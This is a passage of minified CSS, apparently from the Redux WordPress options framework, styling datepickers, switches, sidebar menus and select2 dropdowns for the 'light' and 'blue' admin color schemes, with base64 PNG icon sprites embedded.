wOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-light .ui-datepicker-header{background-color:#888 !important;color:white !important}.admin-color-light .ui-datepicker td .ui-state-active{background-color:#04b0db !important;color:white !important}.admin-color-light .ui-datepicker td .ui-state-hover{color:#04b0db !important}.admin-color-light .ui-datepicker td .ui-state-highlight{background:#04a4cc !important;border:1px solid #888 !important;color:white !important}.admin-color-light .redux-container-switch .cb-disable,.admin-color-light .redux-container-switch .cb-enable,.admin-color-light .ui-state-default,.admin-color-light .ui-widget-content .ui-state-default,.admin-color-light .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-light .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-light .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-light .redux-container-switch .cb-enable.selected,.admin-color-light .redux-field-container .ui-buttonset .ui-state-active{background-color:#04a4cc !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#05c0ef), to(#04a4cc)) !important;background-image:-moz-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-ms-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #05c0ef), color-stop(100%, #04a4cc)) !important;background-image:-webkit-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-o-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-linear-gradient(top, #05c0ef, #04a4cc) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#05c0ef', endColorstr='#04a4cc', GradientType=0) !important;border-color:#036881 !important;border-color:#037c9a !important;-webkit-box-shadow:inset 0 1px 0 #22cffb,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #22cffb,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-light #redux-header{background:#888;border-color:#04a4cc}.admin-color-light #redux-header .display_header span{color:#e6e6e6}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-light .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-light .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-light .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-light .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-light .redux-sidebar .redux-group-menu li.active,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-light .redux-sidebar .redux-group-menu li.active a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild a{color:#888}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#0384a4;background:#6f6f6f}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#04a4cc}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#888}.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#e6e6e6;text-shadow:1px 1px #9a9a9a}.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#888;text-shadow:none}.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#04a4cc;text-shadow:1px 1px #025468}.admin-color-light .redux-container-image_select .redux-image-select-selected img{border-color:#04a4cc}.admin-color-light .redux-container-image_select .redux-image-select-selected .tiles{border-color:#04a4cc}.admin-color-light #redux-footer #redux-share a{color:#04a4cc}.admin-color-light #redux-footer #redux-share a:hover{color:#025468}.admin-color-light .select2-results .select2-highlighted{background:#04a4cc}.admin-color-light .select2-drop-active,.admin-color-light .select2-container-multi.select2-container-active .select2-choices,.admin-color-light .select2-drop.select2-drop-above.select2-drop-active,.admin-color-light .select2-container-active .select2-choice,.admin-color-light .select2-container-active .select2-choices,.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#04a4cc}.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-light .noUi-connect{background-color:#04b0db !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#09cafa), to(#04b0db)) !important;background-image:-moz-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-ms-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #09cafa), color-stop(100%, #04b0db)) !important;background-image:-webkit-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-o-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-linear-gradient(top, #09cafa, #04b0db) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#09cafa', endColorstr='#04b0db', GradientType=0) !important}.admin-color-blue .button.ui-datepicker-current,.admin-color-blue button.ui-datepicker-close{background-color:#509dba !important}.admin-color-blue .ui-datepicker-buttonpane button.ui-datepicker-current{background:#db9825 !important;color:white !important;border:1px solid #845c16 !important}.admin-color-blue .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-blue .ui-datepicker-header{background-color:#096484 !important;color:white !important}.admin-color-blue .ui-datepicker td .ui-state-active{background-color:#509dba !important;color:white !important}.admin-color-blue .ui-datepicker td .ui-state-hover{color:#509dba !important}.admin-color-blue .ui-datepicker td .ui-state-highlight{background:#4796b3 !important;border:1px solid #096484 !important;color:white !important}.admin-color-blue .redux-container-switch .cb-disable,.admin-color-blue .redux-container-switch .cb-enable,.admin-color-blue .ui-state-default,.admin-color-blue .ui-widget-content .ui-state-default,.admin-color-blue .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-blue .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-blue .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-blue .redux-container-switch .cb-enable.selected,.admin-color-blue .redux-field-container .ui-buttonset .ui-state-active{background-color:#4796b3 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#5ea5bf), to(#4796b3)) !important;background-image:-moz-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-ms-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #5ea5bf), color-stop(100%, #4796b3)) !important;background-image:-webkit-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-o-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-linear-gradient(top, #5ea5bf, #4796b3) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5ea5bf', endColorstr='#4796b3', GradientType=0) !important;border-color:#31687c !important;border-color:#39778e !important;-webkit-box-shadow:inset 0 1px 0 #7cb6cb,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #7cb6cb,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-blue #redux-header{background:#096484;border-color:#4796b3}.admin-color-blue #redux-header .display_header span{color:#e2ecf1}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-blue .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-blue .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-blue .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-blue .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-blue .redux-sidebar .redux-group-menu li.active,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-blue .redux-sidebar .redux-group-menu li.active a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild a{color:#096484}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#db9825;background:#064054}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#4796b3}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#096484}.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#e2ecf1;text-shadow:1px 1px #7ba8bf}.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#096484;text-shadow:none}.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#4796b3;text-shadow:1px 1px #2a596a}.admin-color-blue .redux-container-image_select .redux-image-select-selected img{border-color:#4796b3}.admin-color-blue .redux-container-image_select .redux-image-select-selected .tiles{border-color:#4796b3}.admin-color-blue #redux-footer #redux-share a{color:#4796b3}.admin-color-blue #redux-footer #redux-share a:hover{color:#2a596a}.admin-color-blue .select2-results .select2-highlighted{background:#4796b3}.admin-color-blue .select2-drop-active,.admin-color-blue .select2-container-multi.select2-container-active .select2-choices,.admin-color-blue .select2-drop.select2-drop-above.select2-drop-active,.admin-color-blue .select2-container-active .select2-choice,.admin-color-blue .select2-container-active .select2-choices,.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#4796b3}.admin-color-blue 